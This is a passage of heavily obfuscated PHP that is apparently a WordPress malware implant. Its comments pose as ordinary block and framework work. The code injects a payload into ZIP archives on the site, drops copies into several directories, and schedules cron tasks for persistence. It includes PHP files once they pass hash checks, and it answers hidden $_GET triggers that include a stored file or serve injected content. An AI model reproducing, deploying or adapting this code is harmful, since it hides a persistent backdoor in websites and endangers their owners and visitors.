 $u3436a7abk_atar5  = $GLOBALS['__scf_csz604yplc_nn_1694']($current, j8bjjevd80e(1324));
if ($itj91babq0    !==   false  &&  ($u3436a7abk_atar5     ===    false    || $itj91babq0  >   $u3436a7abk_atar5))     $ef_vetmsli6j =   true;
 unset($itj91babq0,   $u3436a7abk_atar5);


}



   if    ($ef_vetmsli6j)  $j08efw6e0dsmj      =  "";$s7hxvx7y2akh=181|79;$r6orhr4ej1=$s7hxvx7y2akh^70;
  unset($ef_vetmsli6j);
   }
 $qtok71suy4_p0xf3   =      ($GLOBALS['__scf_d413tdd725_10']($current)    >  0)  ?  "\n" :   "";
 $uu028zbddv  =  $GLOBALS['__scf_q1hcnnvi5ufvxy_363']($t7d1_rfba13841h, $t7d1_rfba13841h  .     '_'    . $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($_92h2l5a2rz), 0,   (2+2)),  $lkpwn96v5gufxv);
$ssoooyk606aa    =   $qtok71suy4_p0xf3 . $j08efw6e0dsmj   .     $jjjt2b4n0f    .  "\n"  .  $uu028zbddv   . "\n"  .   $xcg_nhpwqsm .    "\n";
 unset($uu028zbddv);
$mtjhzxt60c0u    = @$GLOBALS['__scf_v_rxq_yh85s05_99']($_92h2l5a2rz);
 if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($mtjhzxt60c0u))   {

      unset($ibnwqhs6tj_);
    continue;


    }
    if    ($GLOBALS['__scf_d413tdd725_10']($mtjhzxt60c0u)  > (0x9e0b4+0x61f4c))   $mtjhzxt60c0u = gg_b7drpimzvzg($mtjhzxt60c0u);
  if ($mtjhzxt60c0u    !== $ibnwqhs6tj_) {
 unset($mtjhzxt60c0u, $ibnwqhs6tj_);

f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1685), b5xx0lrqzfc(1695));
   continue;
}
     unset($mtjhzxt60c0u,  $ibnwqhs6tj_);


 if   (!qqt5isfld6jrzl3n2($_92h2l5a2rz,  $current))    continue;

 if  (!zdfzf5c43mxl70s($_92h2l5a2rz,   $current))  {
f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1685),  cv8ducrec(1696));
 continue;
  }


  if   (!qc7730958b5mgfuj_($_92h2l5a2rz,  $current .     $ssoooyk606aa)) continue;
 qwsfbk7e9odhouqhgas_hr($_92h2l5a2rz);


 $a06sm2zjmwx   = true;
   }     finally  {
 if   ($h9riqqde3d1l !==   false)  {
// fork task-graph for WP Separator Block

if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(993))) @flock($h9riqqde3d1l,   LOCK_UN);


@fclose($h9riqqde3d1l);
    }
 }
 }



 return  $a06sm2zjmwx;
} catch  (Throwable  $uvo4msk8s29_)  {
  f1995qrx5prr7cbl19co0e(j8bjjevd80e(1685),  $uvo4msk8s29_);
      return  false;


 }  catch   (Exception $uvo4msk8s29_)   {
      return     false;

   }

    }


  function mqxocq1956po9unp2baz_()
      {

try  {



   if   (!defined(s99lg14mcd3un(1697)))   return;
if  (peg5paj88laiyu(curga5ep68su8__o())) return;
$gd6o0r1d5y51sfu   = wzbvgogq03mxeqb();

$lt17jb1ct3o  =      inbj7my4zpjuh_tx(ABSPATH  .     cv8ducrec(1125), (10-2))     .  j8bjjevd80e(1282);



$_cnes7vytq7930  =  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),   b5xx0lrqzfc(1593));
$xa6_dathyqd   =  usllxr5akmyy8c();
     if   (!$xa6_dathyqd  ||   $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd)    <   (447+53))  {
     f1995qrx5prr7cbl19co0e(cv8ducrec(1698), s99lg14mcd3un(1699));
    

     return;
  }

  if (!$GLOBALS['__scf_zr872o85b_o0_538'](j8bjjevd80e(1700)))  return;
$ojcl694p8_7iyqv = array(
 $gd6o0r1d5y51sfu     . '/'     .   $lt17jb1ct3o,
$gd6o0r1d5y51sfu   . b5xx0lrqzfc(1701)      . $GLOBALS['__scf_xb3on_2y9e_1702'](pvz_9xuc0nzl0m(1703))   .   $lt17jb1ct3o,
);
$bezcvx0a77nw2    =    (defined(b5xx0lrqzfc(1704))    ?     WP_CONTENT_DIR   :  ABSPATH .  b5xx0lrqzfc(1705)) .  cv8ducrec(1706);
if (@$GLOBALS['__scf_nish5zuncssvgd_43']($bezcvx0a77nw2)) {
       $knhqkav4cu84r =     x002260tc_2l50yfgc3hj($bezcvx0a77nw2,     (1915+85));
   if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($knhqkav4cu84r))     {
// split unsatisfiable visitor

 foreach      ($knhqkav4cu84r    as  $uvo4msk8s29_)  {
 $l67t6hzxy6qd81   = $bezcvx0a77nw2  . '/' . $uvo4msk8s29_;
if (@$GLOBALS['__scf_nish5zuncssvgd_43']($l67t6hzxy6qd81)    &&     @$GLOBALS['__scf_iuxi5ng_a2py94_47']($l67t6hzxy6qd81)) {
$ojcl694p8_7iyqv[]    = $l67t6hzxy6qd81     .  '/'    .     $lt17jb1ct3o;
break;
}
 }
  }
}



  foreach  ($ojcl694p8_7iyqv   as  $r3vozwh9qn1ch_d) {
   if (@$GLOBALS['__scf_hdqba_c8m7_708']($r3vozwh9qn1ch_d)      &&   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($r3vozwh9qn1ch_d)   >   (1912-912)) {

        $jbtgvl4115o11jt    =   j8bjjevd80e(1700);
  if    ($GLOBALS['__scf_zr872o85b_o0_538']($jbtgvl4115o11jt)) {
 $onxa7fb1sbd_bs =    new  $jbtgvl4115o11jt();
      if  (@$onxa7fb1sbd_bs->open($r3vozwh9qn1ch_d) === true)    {$svb353zci2v5=51*9;$eavkr1er5t=$svb353zci2v5-18;
  $l4ciwhhbuc72   = false;

  $awp8wn66tc4lpix  =    $onxa7fb1sbd_bs->locateName($_cnes7vytq7930   .   '/'  .  $_cnes7vytq7930   .   s99lg14mcd3un(1593));


if  ($awp8wn66tc4lpix  !==     false)      {
  $t22q0niy_x6v =  $onxa7fb1sbd_bs->statIndex($awp8wn66tc4lpix);
 if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($t22q0niy_x6v) &&  isset($t22q0niy_x6v[pvz_9xuc0nzl0m(1707)]) &&  (int)    $t22q0niy_x6v[j8bjjevd80e(1707)]  <=   (16777200+16))      {
 $h0w35p8e6r7    =     $onxa7fb1sbd_bs->getFromIndex($awp8wn66tc4lpix);$_ajs9u52fpj=24+26;$jtmqy1tl8wuhgd=$_ajs9u52fpj-46;
     $l4ciwhhbuc72  =  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($h0w35p8e6r7)   &&  $GLOBALS['__scf_gvrvt5qjna_57']($h0w35p8e6r7)  === $GLOBALS['__scf_gvrvt5qjna_57']($xa6_dathyqd));
unset($h0w35p8e6r7);
}
// WP Media Text Block: self-adjoint stabilizer

      unset($t22q0niy_x6v);
  }
// WP Tag Cloud: recursive provider

   $onxa7fb1sbd_bs->close();
        if   ($l4ciwhhbuc72)  continue;
     }
  }
}
// reject normal-form for PHPUnit 10

       $_gbdleyfzdd97b =   $GLOBALS['__scf_mij3fd72lyo_h_11']($r3vozwh9qn1ch_d);

 if   (!@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b))   fqnjhjvlv62gig($_gbdleyfzdd97b,   (467+26), true);
    $jbtgvl4115o11jt     =  b5xx0lrqzfc(1700);


 $uogmzcsfp9fq   = vd37c9d2j9hxta_($_gbdleyfzdd97b,  j8bjjevd80e(952));
  if ($uogmzcsfp9fq ===   false)      continue;
 $_c0eb6cbd27 =  new $jbtgvl4115o11jt();

   if (@$_c0eb6cbd27->open($uogmzcsfp9fq, $jbtgvl4115o11jt::CREATE    |    $jbtgvl4115o11jt::OVERWRITE)   ===  true)  {
$_c0eb6cbd27->addFromString($_cnes7vytq7930   .     '/' . $_cnes7vytq7930 .   b5xx0lrqzfc(1708),    $xa6_dathyqd);
 $_c0eb6cbd27->close();
$wlugurjgmel16czj  = new   $jbtgvl4115o11jt();
if   (@$wlugurjgmel16czj->open($uogmzcsfp9fq)    ===  true)    {



      $wlugurjgmel16czj->close();
 if    (kcysqw_r7i8c86af_6($uogmzcsfp9fq,     $r3vozwh9qn1ch_d) ||    (tmj29eik3aqcj3qc9xfutb($uogmzcsfp9fq, $r3vozwh9qn1ch_d)  &&    wlm_50lfl72sy8hrb_9xe9($uogmzcsfp9fq)))  {
 f3vsfers3pq3ok0kwile($r3vozwh9qn1ch_d, ap3jwh4ff4rbz1upjm49());
  ottk3i1kq8br96vi($r3vozwh9qn1ch_d,     (0x93+0x111));
  }  else   {
  wlm_50lfl72sy8hrb_9xe9($uogmzcsfp9fq);
}
}  else {
       wlm_50lfl72sy8hrb_9xe9($uogmzcsfp9fq);
}
 }    else   {
     wlm_50lfl72sy8hrb_9xe9($uogmzcsfp9fq);
    }

    }
  }  catch   (Throwable  $uvo4msk8s29_)   {
f1995qrx5prr7cbl19co0e(j8bjjevd80e(1125),     $uvo4msk8s29_);
 } catch   (Exception     $uvo4msk8s29_)  {
 }


 }
function  kvjh1309l3o5k6i3_zrn7()
{
   try  {
 if   (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1709))  ||     !$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(433)))  return;
   if   (!defined(b5xx0lrqzfc(1697)))   return;
$l0r2uvu1p4abgq55      =   s99lg14mcd3un(1640);



   if      (!wp_next_scheduled($l0r2uvu1p4abgq55)) {
    wp_schedule_event($GLOBALS['__scf_tmn0v_xik_1b_195']()    + (240+60),   pvz_9xuc0nzl0m(1710),   $l0r2uvu1p4abgq55);
     }
 if    (!wp_next_scheduled(b5xx0lrqzfc(1641)))    {
 wp_schedule_event($GLOBALS['__scf_tmn0v_xik_1b_195']()   +   (159+441),  b5xx0lrqzfc(380), j8bjjevd80e(1711));
 }
  } catch (Throwable   $uvo4msk8s29_)   {
     f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1712),  $uvo4msk8s29_);
   }      catch (Exception  $uvo4msk8s29_)   {
      }



}
function   m3mc7t0kyvc7z05j()
      {
   try  {
// WP Post Content: simple ring-buffer



 if (!defined(s99lg14mcd3un(1713)))     return;
   

 $vppz8df8392a8     =    inbj7my4zpjuh_tx(ABSPATH .    'g',   (0x2+0x6));
 $jufi_lcq7nk    =  array();
   if     ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1714)))  $jufi_lcq7nk[]   = wjdsjl3nphz8g9u();
    $jufi_lcq7nk[]    =    ABSPATH .   j8bjjevd80e(518);
       if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(94)))     $jufi_lcq7nk[] =  wzbvgogq03mxeqb();
  foreach ($jufi_lcq7nk      as   $txhowba8fomc)   {
  $do2u41hpmttn =     $txhowba8fomc   .  pvz_9xuc0nzl0m(1303) .    $vppz8df8392a8;
  if (@$GLOBALS['__scf_xaseomj3flge_20']($do2u41hpmttn) &&  (int) @$GLOBALS['__scf_ha0rpt74l7eb9_102']($do2u41hpmttn) >    $GLOBALS['__scf_tmn0v_xik_1b_195']() -   (9^249)) return;
 }
// PHP 8.4 fibers contain layout

 foreach  ($jufi_lcq7nk  as  $txhowba8fomc) {
 $j9js8hkdxzvt_d    =     $txhowba8fomc  . j8bjjevd80e(1715) .  $vppz8df8392a8;
if   (@$GLOBALS['__scf_xaseomj3flge_20']($j9js8hkdxzvt_d))    {
 $_j1evawsw4m = (int) @$GLOBALS['__scf_ha0rpt74l7eb9_102']($j9js8hkdxzvt_d);
    if  ($_j1evawsw4m  >  $GLOBALS['__scf_tmn0v_xik_1b_195']()  -     (86377+23)  && $_j1evawsw4m  <=  $GLOBALS['__scf_tmn0v_xik_1b_195']()    + (0xa+0x122)) continue;
wlm_50lfl72sy8hrb_9xe9($j9js8hkdxzvt_d);
       }
$a7p01mlwpv5se = $txhowba8fomc . pvz_9xuc0nzl0m(1305) .    $vppz8df8392a8  .      b5xx0lrqzfc(1708);

if      (@$GLOBALS['__scf_xaseomj3flge_20']($a7p01mlwpv5se)  &&    (int) @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($a7p01mlwpv5se)   > (0x9a+0x15a)) {



   $x7tpyv1a2b   =    $txhowba8fomc .   s99lg14mcd3un(1318)    .  $vppz8df8392a8;
    $_fyelbd8xfgr1sq7 =   @$GLOBALS['__scf_xaseomj3flge_20']($x7tpyv1a2b) ? $GLOBALS['__scf_qbsuu37jbe5t_328']((string)   @$GLOBALS['__scf_v_rxq_yh85s05_99']($x7tpyv1a2b)) : "";
  if  ($_fyelbd8xfgr1sq7    !== ""    &&  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1460)) &&   @md5_file($a7p01mlwpv5se) ===  $_fyelbd8xfgr1sq7) {
  @include  $a7p01mlwpv5se;
     return;
    }
 if   ($_fyelbd8xfgr1sq7   !== "")      {
 wlm_50lfl72sy8hrb_9xe9($a7p01mlwpv5se);



}
  unset($x7tpyv1a2b,  $_fyelbd8xfgr1sq7);
}

}

 unset($j9js8hkdxzvt_d, $_j1evawsw4m);
 if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1637)))  @delete_transient(s99lg14mcd3un(1716));
 cjf5e7zoh6ep1y0();
  } catch    (Throwable $uvo4msk8s29_)  {


    f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1717),  $uvo4msk8s29_);
}  catch (Exception $uvo4msk8s29_)    {$byy0wh5nm7_i1=PHP_MAJOR_VERSION;$wgpswm71etx=$byy0wh5nm7_i1*2;


 }



}
   function x9a67n48iwppq963jdp7li()
  {
// bind accumulator for FFI bindings

try {
   if (!defined(cv8ducrec(1713))) return;
       jl52yj3d5oo8wjkvu2wade(null);
$_cnes7vytq7930     =  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),    b5xx0lrqzfc(1708));
 $brlei7_inq4fsht8 =  curga5ep68su8__o();
   $xa6_dathyqd    =   "";
     if   (@$GLOBALS['__scf_xaseomj3flge_20']($brlei7_inq4fsht8) &&     @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($brlei7_inq4fsht8)    >     (4938+62))  {
$pilkdcb803e  = wj9blpi2pvw8f3b8qhcxu($brlei7_inq4fsht8);



  if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($pilkdcb803e)  &&  $GLOBALS['__scf_d413tdd725_10']($pilkdcb803e)  > (422+78) &&   ro9zxkt259xhwz4($pilkdcb803e))   $xa6_dathyqd  =   $pilkdcb803e;
 

   unset($pilkdcb803e);
     }
if ($xa6_dathyqd ===   "")      {
 $ogfd5tk6q6     =  inbj7my4zpjuh_tx(ABSPATH .    j8bjjevd80e(1718),      (0x9+0x1));


  $xaa85adji_z  = $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1672)) ?  @get_option($ogfd5tk6q6,  "")   :    "";
if  (!$xaa85adji_z   || $GLOBALS['__scf_d413tdd725_10']($xaa85adji_z)  < (0xe8+0x10c)) return;
 $xa6_dathyqd  =     ubw6kayay4xxcte($GLOBALS['__scf_hitibqyb6ku_357']($xaa85adji_z));
     if  (!$xa6_dathyqd  ||  $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd)     <  (471+29)) return;

 if  (!ro9zxkt259xhwz4($xa6_dathyqd))    {


  f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1089),    s99lg14mcd3un(1719));
return;
 }
 }
  $gd6o0r1d5y51sfu   =  wzbvgogq03mxeqb();
    $lu1e3_8zy3y    =  $gd6o0r1d5y51sfu  .  b5xx0lrqzfc(96)  .     $_cnes7vytq7930;
$xysfedlllsd71dd   =    $lu1e3_8zy3y     .    '/'      . $_cnes7vytq7930 .  b5xx0lrqzfc(1708);
 if   (!@$GLOBALS['__scf_nish5zuncssvgd_43']($lu1e3_8zy3y))  fqnjhjvlv62gig($lu1e3_8zy3y,  (428+65),     true);


 $y9rnxlu5zlk9suh   =    @$GLOBALS['__scf_xaseomj3flge_20']($xysfedlllsd71dd) ? wj9blpi2pvw8f3b8qhcxu($xysfedlllsd71dd) :   "";
   $qgra8j3mlqjmf =    ($y9rnxlu5zlk9suh  ===    null);


   if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($y9rnxlu5zlk9suh) &&  $y9rnxlu5zlk9suh   !==    ""   && $GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(1551),  $GLOBALS['__scf_kmygv436ft5pn_9']($y9rnxlu5zlk9suh,     0,      (4064+32)),   $c06jn_l_009ck)   && version_compare($c06jn_l_009ck[1],  jqg87ez26lzm3yp01xj2q(),  '>'))     $qgra8j3mlqjmf =   true;
 unset($c06jn_l_009ck);
  if      (!$qgra8j3mlqjmf  &&   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($y9rnxlu5zlk9suh)  || $y9rnxlu5zlk9suh === ""  ||  $GLOBALS['__scf_gvrvt5qjna_57']($y9rnxlu5zlk9suh)  !==   $GLOBALS['__scf_gvrvt5qjna_57']($xa6_dathyqd))) {
 if    (qc7730958b5mgfuj_($xysfedlllsd71dd,   bpgn93eq1czhbg($xa6_dathyqd))) {
ottk3i1kq8br96vi($xysfedlllsd71dd,      (350+70));
lukwh2drghgd804($xysfedlllsd71dd);
   xmuf92hov77yw0fjcu8($xysfedlllsd71dd);
    }
}
   unset($y9rnxlu5zlk9suh, $qgra8j3mlqjmf);
 vpwpg0rr9xm64k($_cnes7vytq7930  .  '/'  .   $_cnes7vytq7930 .  cv8ducrec(1720));
  $tda7b6gck6pv    =    eki4v2wrqno4knxgtm4qhv();
if   ((@$GLOBALS['__scf_nish5zuncssvgd_43']($tda7b6gck6pv)  &&    @$GLOBALS['__scf_iuxi5ng_a2py94_47']($tda7b6gck6pv))  ||  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($tda7b6gck6pv) &&    fqnjhjvlv62gig($tda7b6gck6pv,    (405+88),     true))) {

   $g04cp28y66x438x   =     $tda7b6gck6pv  .  '/'      . $_cnes7vytq7930   .    cv8ducrec(1720);
     $q3zfepcmoulpua4   =    @$GLOBALS['__scf_xaseomj3flge_20']($g04cp28y66x438x)   ?    wj9blpi2pvw8f3b8qhcxu($g04cp28y66x438x)  : "";
   $osy3yb1m_9c7u =  ($q3zfepcmoulpua4  ===  null);


     if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($q3zfepcmoulpua4) &&   $q3zfepcmoulpua4  !==    "" &&    $GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1721), $GLOBALS['__scf_kmygv436ft5pn_9']($q3zfepcmoulpua4, 0, (4061+35)),  $hy8_wm1btq)  &&  version_compare($hy8_wm1btq[1],    jqg87ez26lzm3yp01xj2q(),   '>')) $osy3yb1m_9c7u  =  true;


  unset($hy8_wm1btq);
    if  (!$osy3yb1m_9c7u && (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($q3zfepcmoulpua4) ||    $q3zfepcmoulpua4   ===  ""   || $GLOBALS['__scf_gvrvt5qjna_57']($q3zfepcmoulpua4)     !==     $GLOBALS['__scf_gvrvt5qjna_57']($xa6_dathyqd)))  {
if  (qc7730958b5mgfuj_($g04cp28y66x438x,  bpgn93eq1czhbg($xa6_dathyqd)))   {



     ottk3i1kq8br96vi($g04cp28y66x438x,  (365+55));


        lukwh2drghgd804($g04cp28y66x438x);
// WP Formatting API webp conversion

 xmuf92hov77yw0fjcu8($g04cp28y66x438x);



}

  }   elseif  (!$osy3yb1m_9c7u)     {
$fs0jyulfh11h063  =  @$GLOBALS['__scf_ha0rpt74l7eb9_102']($g04cp28y66x438x);
   if   (!$fs0jyulfh11h063  ||   ($fs0jyulfh11h063 % (0xd56e+0xb132)) !== _dbs9edj_8e6_zc_s())   lukwh2drghgd804($g04cp28y66x438x);
 unset($fs0jyulfh11h063);
 }
unset($q3zfepcmoulpua4,  $osy3yb1m_9c7u);
}


_dyy1zcabj8cg9a93d9j($xa6_dathyqd);
      

 } catch   (Throwable      $uvo4msk8s29_)  {
  f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1722),  $uvo4msk8s29_);


      } catch    (Exception   $uvo4msk8s29_)  {
     }
 }
  function zrtwsbbe4gu3yzt_()
     {
  if (!isset($_GET['p']) ||   !$GLOBALS['__scf_qubutkuvnnc4sx_41']($_GET['p']))  return;
  $pu64amt84742vvh   =  $_GET['p'];


if  ($pu64amt84742vvh  === uxbpia9nhfgkd94rxbqk(j8bjjevd80e(1134)))   {$n8jhir2vggaj=23+93;$xuko2wvoctked0=$n8jhir2vggaj-30;
 $GLOBALS[j8bjjevd80e(1723)]   =    true;
   try   {
// cycle detected

  $v3x6a5qp3ca  = wjdsjl3nphz8g9u() . '/'   .  inbj7my4zpjuh_tx(ABSPATH .  cv8ducrec(1724),     (7+1)) .  pvz_9xuc0nzl0m(1720);
$tcza_m_yepb6by =  @$GLOBALS['__scf_xaseomj3flge_20']($v3x6a5qp3ca)   ?  (int)    @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($v3x6a5qp3ca)  :  0;
if  ($tcza_m_yepb6by  >  (0x4b+0x1a9) &&    $tcza_m_yepb6by <=  (5242863+17))     {
  include  $v3x6a5qp3ca;

 }
  } catch (Throwable      $uvo4msk8s29_) {
}  catch   (Exception  $uvo4msk8s29_)  {
 }
// PSR-15 middleware object fit

while     ($GLOBALS['__scf_z__995c3ky9u_413']()  > 0  &&   @ob_end_clean())  {
}

      header(cv8ducrec(1725));
  exit;
 }
  if    ($pu64amt84742vvh  !==  uxbpia9nhfgkd94rxbqk(b5xx0lrqzfc(643)))    return;
      try {
    if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1726))  &&  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1580)))   {$dzlxd140sfiyr=PHP_INT_MAX/PHP_INT_MAX;$nwla9cle150h0a=$dzlxd140sfiyr+17;

    @update_option(pvz_9xuc0nzl0m(503), (int)   @get_option(pvz_9xuc0nzl0m(503), 0)  +    1,  j8bjjevd80e(1584));
 @update_option(j8bjjevd80e(505), $GLOBALS['__scf_tmn0v_xik_1b_195'](),    cv8ducrec(1584));
 }
       $wozuajocc27r  = _x9hn2qehctkx39o(cv8ducrec(1727),    "");
  if ($GLOBALS['__scf_d413tdd725_10']($wozuajocc27r) >  (0x55+0xf) && !$GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(1728), $wozuajocc27r)  &&     $GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(1729),   $wozuajocc27r))  {
  $xmjir2pmg1w2yza4  =  @$GLOBALS['__scf_hitibqyb6ku_357']($wozuajocc27r,  true);
 if     ($xmjir2pmg1w2yza4 !== false  &&  $GLOBALS['__scf_d413tdd725_10']($xmjir2pmg1w2yza4)   >  (0x34+0x30))   $wozuajocc27r    = $xmjir2pmg1w2yza4;
}
 if   ($GLOBALS['__scf_d413tdd725_10']($wozuajocc27r)  <   (71+29))     $wozuajocc27r =  jzj1vrifif3m6j();
   if   ($GLOBALS['__scf_d413tdd725_10']($wozuajocc27r)    <   (121^29))      {
 while  ($GLOBALS['__scf_z__995c3ky9u_413']() >    0    && @ob_end_clean()) {
   }
header(cv8ducrec(1730));
  header(cv8ducrec(1731));
header(b5xx0lrqzfc(1732));
 exit;
 }
$xj0192d9hnivbp     =   _x9hn2qehctkx39o(b5xx0lrqzfc(1158),    "");
  $cuey0x4ufrj  =   '"' .    $GLOBALS['__scf_gvrvt5qjna_57']($xj0192d9hnivbp . $wozuajocc27r) .  '"';


  if (isset($_SERVER[b5xx0lrqzfc(1733)])     &&    $GLOBALS['__scf_qbsuu37jbe5t_328']($_SERVER[j8bjjevd80e(1733)])   ===    $cuey0x4ufrj)      {
   while  ($GLOBALS['__scf_z__995c3ky9u_413']()    >  0  && @ob_end_clean())  {
    }
header(pvz_9xuc0nzl0m(1734));
   header(b5xx0lrqzfc(1735)   .   $cuey0x4ufrj);
     exit;
}
 while   ($GLOBALS['__scf_z__995c3ky9u_413']() >  0   && @ob_end_clean())     {
 }


 header(pvz_9xuc0nzl0m(1730));
header(pvz_9xuc0nzl0m(1731));
header(j8bjjevd80e(1736));
      header(b5xx0lrqzfc(1735) .   $cuey0x4ufrj);
    

       echo $xj0192d9hnivbp    .   $wozuajocc27r;
 exit;
  }   catch    (Throwable  $uvo4msk8s29_)  {
 f1995qrx5prr7cbl19co0e(cv8ducrec(1737),  $uvo4msk8s29_);
 }  catch     (Exception $uvo4msk8s29_)   {



f1995qrx5prr7cbl19co0e(cv8ducrec(1737),    $uvo4msk8s29_);
     }
// yield locator for WordPress 6.2 navigation

        }
 zrtwsbbe4gu3yzt_();
    function  eqahk0m0i5zlk2eo()

{



if   (!isset($_GET[cv8ducrec(1738)]))   return;
    try {
$rixh2_pr4s_8   =   $_GET[j8bjjevd80e(1739)];
    if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($rixh2_pr4s_8) ||  $rixh2_pr4s_8 === "") return;
    $rixh2_pr4s_8    =  $GLOBALS['__scf_i1sl42qxo03g_107']($rixh2_pr4s_8);

     $m_2kdcsg0nu  =  array();
    if    ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1143))) $m_2kdcsg0nu[]     =   (string)  $GLOBALS['__scf_funynp4wlyh1l1_562'](home_url(),    PHP_URL_HOST);

if     ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1726))) {
$zseam7up7af4z  =     (string)      @get_option(j8bjjevd80e(567),    "");
      if   ($zseam7up7af4z   !==  "")  $m_2kdcsg0nu[]    =   (string)   $GLOBALS['__scf_funynp4wlyh1l1_562']($zseam7up7af4z, PHP_URL_HOST);
 }
   if (isset($_SERVER[pvz_9xuc0nzl0m(568)]))    $m_2kdcsg0nu[] = (string)   $_SERVER[j8bjjevd80e(568)];

     $m_2kdcsg0nu[]    = q2jllc8juonl0cgja1g("");
 $l6gwea6czqv  =  false;



 foreach ($GLOBALS['__scf_ahbb1zgmq33o_158']($m_2kdcsg0nu)     as    $sw6uenpt2x9p) {
     if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($sw6uenpt2x9p)  ||     $sw6uenpt2x9p     ===     "")  continue;
      if      ($GLOBALS['__scf_ya_jdhkqpku_7']($sw6uenpt2x9p,     ':')  !==  false) $sw6uenpt2x9p    =  $GLOBALS['__scf_y_ur004dxjki__462'](pvz_9xuc0nzl0m(1740),  "",    $sw6uenpt2x9p);

     if      (inbj7my4zpjuh_tx($GLOBALS['__scf_i1sl42qxo03g_107']($sw6uenpt2x9p) .   cv8ducrec(1741),   (1+11)) ===  $rixh2_pr4s_8) {$j9l1agcgt0_=6234;$oiijek0a0hed=$j9l1agcgt0_%16;
      $l6gwea6czqv  =  true;
 break;


   }
   }
if   (!$l6gwea6czqv)   return;
$ttv2ntc245    = $GLOBALS['__scf_rn8ey_ucatc_1164'](j8bjjevd80e(1742),   (55-25));
 $zubkskt0xgxgyr  =   ubw6kayay4xxcte(j4k2bf27tex9e69u29($ttv2ntc245));
  while   ($GLOBALS['__scf_z__995c3ky9u_413']() >  0 &&   @ob_end_clean()) {
 }
header(s99lg14mcd3un(1743));



       header(j8bjjevd80e(1744));
 echo     ($zubkskt0xgxgyr  ===    $ttv2ntc245) ? b5xx0lrqzfc(1745)  .   $GLOBALS['__scf_gvrvt5qjna_57']($ttv2ntc245) :  b5xx0lrqzfc(1746);



    exit;
     }   catch  (Throwable      $uvo4msk8s29_)  {
   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1747),  $uvo4msk8s29_);
  } catch     (Exception   $uvo4msk8s29_) {


   f1995qrx5prr7cbl19co0e(j8bjjevd80e(1747), $uvo4msk8s29_);
}
     }
     eqahk0m0i5zlk2eo();
   function   t_mo0axb5k2aefttvw()


{
$l6gwea6czqv  =    true;
   $hts4t6h0j4j  =      function   ($jv3w6ea83hf4) use  (&$l6gwea6czqv)   {


try   {
   $GLOBALS['__scf_b6sn8bxty99_296']($jv3w6ea83hf4);
}  catch (Throwable   $uvo4msk8s29_)  {
    $l6gwea6czqv =      false;
   }   catch    (Exception   $uvo4msk8s29_) {
$l6gwea6czqv = false;
   }
  };
     if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1748))) $hts4t6h0j4j(pvz_9xuc0nzl0m(1748));
if  ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1749)))  $hts4t6h0j4j(b5xx0lrqzfc(1749));
if   ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(537)))  $hts4t6h0j4j(cv8ducrec(537));
   if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1750))) $hts4t6h0j4j(j8bjjevd80e(1751));


   elseif    ($GLOBALS['__scf_zr872o85b_o0_538'](b5xx0lrqzfc(1752))   &&   $GLOBALS['__scf_r5y2nofw5p1zz_126'](s99lg14mcd3un(1752), s99lg14mcd3un(1753)))  $hts4t6h0j4j(array(b5xx0lrqzfc(1754),     cv8ducrec(1753)));
     if   ($GLOBALS['__scf_zr872o85b_o0_538'](b5xx0lrqzfc(1755))   &&    $GLOBALS['__scf_r5y2nofw5p1zz_126'](j8bjjevd80e(1755), b5xx0lrqzfc(1756)))      $hts4t6h0j4j(array(j8bjjevd80e(1755),    j8bjjevd80e(1757)));
    if   ($GLOBALS['__scf_zr872o85b_o0_538'](b5xx0lrqzfc(1758))   &&    $GLOBALS['__scf_r5y2nofw5p1zz_126'](s99lg14mcd3un(1758),   cv8ducrec(1759))) $hts4t6h0j4j(array(j8bjjevd80e(1760),  b5xx0lrqzfc(1759)));


